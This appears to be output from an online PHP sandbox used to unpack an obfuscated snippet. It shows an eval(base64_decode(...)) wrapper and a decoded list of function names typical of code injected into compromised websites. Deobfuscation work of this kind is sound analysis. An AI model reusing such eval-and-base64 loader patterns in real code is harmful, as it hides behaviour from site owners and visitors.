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cm1lnZ9rC2tBgcijnIOjDgCAB0TPSU4XQ4sdKE27Bu3bG0Pe41d/2pynrmkR5OtsLCWk10aHz2f6Oty+fNqtVRe1Ba6N3BEY0eZnj4qst4SrdvnBWY6Wg78Fom9oq1ih37zG6693rhhO0WR9w+eY+476PKI7qdc4NMAX+fGyqmYTz8AeCKKN0='))); $somearray = array(base64_decode('ZX' .'Jy' .'b3JfcmVwb' .'3J0aW5n'),base64_decode('dXJ' .'sZ' .'GVjb2Rl'),base64_decode('ZmlsZ' .'V9leGl' .'zdHM='),base64_decode('a' .'GVhZ' .'GVy' .'c' .'1' .'9z' .'ZW50'),base64_decode('' .'ZmRmX3Nl' .'d' .'F92Z' .'XJzaW9u'),base64_decode('c3' .'RyaXN0c' .'g=='),base64_decode('' .'c3R' .'yaXN0cg=='),base64_decode('c3R' .'yaX' .'N' .'0cg=='),base64_decode('c' .'3Ry' .'a' .'XN0cg=' .'='),base64_decode('c3Rya' .'XN0c' .'g=='),base64_decode('c' .'3RyaXN' .'0c' .'g=='),base64_decode('c3Rya' .'XN0' .'cg' .'=='),base64_decode('c' .'3' .'R' .'yaXN0cg=='),base64_decode('c3RyaXN0cg=='),base64_decode('c3' .'Rya' .'XN0cg=' .'='),base64_decode('c3RyaXN0cg=='),base64_decode('' .'c3' .'Ry' .'aXN0c' .'g=' .'='),base64_decode('' .'cH' .'JlZ19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19tY' .'X' .'RjaA=='),base64_decode('' .'c3' .'Ry' .'aXN0' .'c' .'g=' .'='),base64_decode('c3RyaXN0cg=='),base64_decode('c' .'3R' .'yaXN0cg=='),base64_decode('' .'c3R' .'yaXN' .'0' .'c' .'g=='),base64_decode('c' .'3R' .'y' .'aXN0cg=='),base64_decode('aGVhZGV' .'y')); var_dump($somearray);
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
string(2162) " eval(base64_decode("ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2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GLOBALS['_ty_']=Array(base64_decode('ZX' .'Jy' .'b3JfcmVwb' .'3J0aW5n'),base64_decode('dXJ' .'sZ' .'GVjb2Rl'),base64_decode('ZmlsZ' .'V9leGl' .'zdHM='),base64_decode('a' .'GVhZ' .'GVy' .'c' .'1' .'9z' .'ZW50'),base64_decode('' .'ZmRmX3Nl' .'d' .'F92Z' .'XJzaW9u'),base64_decode('c3' .'RyaXN0c' .'g=='),base64_decode('' .'c3R' .'yaXN0cg=='),base64_decode('c3R' .'yaX' .'N' .'0cg=='),base64_decode('c' .'3Ry' .'a' .'XN0cg=' .'='),base64_decode('c3Rya' .'XN0c' .'g=='),base64_decode('c' .'3RyaXN' .'0c' .'g=='),base64_decode('c3Rya' .'XN0' .'cg' .'=='),base64_decode('c' .'3' .'R' .'yaXN0cg=='),base64_decode('c3RyaXN0cg=='),base64_decode('c3' .'Rya' .'XN0cg=' .'='),base64_decode('c3RyaXN0cg=='),base64_decode('' .'c3' .'Ry' .'aXN0c' .'g=' .'='),base64_decode('' .'cH' .'JlZ19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19tY' .'X' .'RjaA=='),base64_decode('' .'c3' .'Ry' .'aXN0' .'c' .'g=' .'='),base64_decode('c3RyaXN0cg=='),base64_decode('c' .'3R' .'yaXN0cg=='),base64_decode('' .'c3R' .'yaXN' .'0' .'c' .'g=='),base64_decode('c' .'3R' .'y' .'aXN0cg=='),base64_decode('aGVhZGV' .'y'));" array(25) { [0]=> string(15) "error_reporting" [1]=> string(9) "urldecode" [2]=> string(11) "file_exists" [3]=> string(12) "headers_sent" [4]=> string(15) "fdf_set_version" [5]=> string(7) "stristr" [6]=> string(7) "stristr" [7]=> string(7) "stristr" [8]=> string(7) "stristr" [9]=> string(7) "stristr" [10]=> string(7) "stristr" [11]=> string(7) "stristr" [12]=> string(7) "stristr" [13]=> string(7) "stristr" [14]=> string(7) "stristr" [15]=> string(7) "stristr" [16]=> string(7) "stristr" [17]=> string(10) "preg_match" [18]=> string(10) "preg_match" [19]=> string(7) "stristr" [20]=> string(7) "stristr" [21]=> string(7) "stristr" [22]=> string(7) "stristr" [23]=> string(7) "stristr" [24]=> string(6) "header" }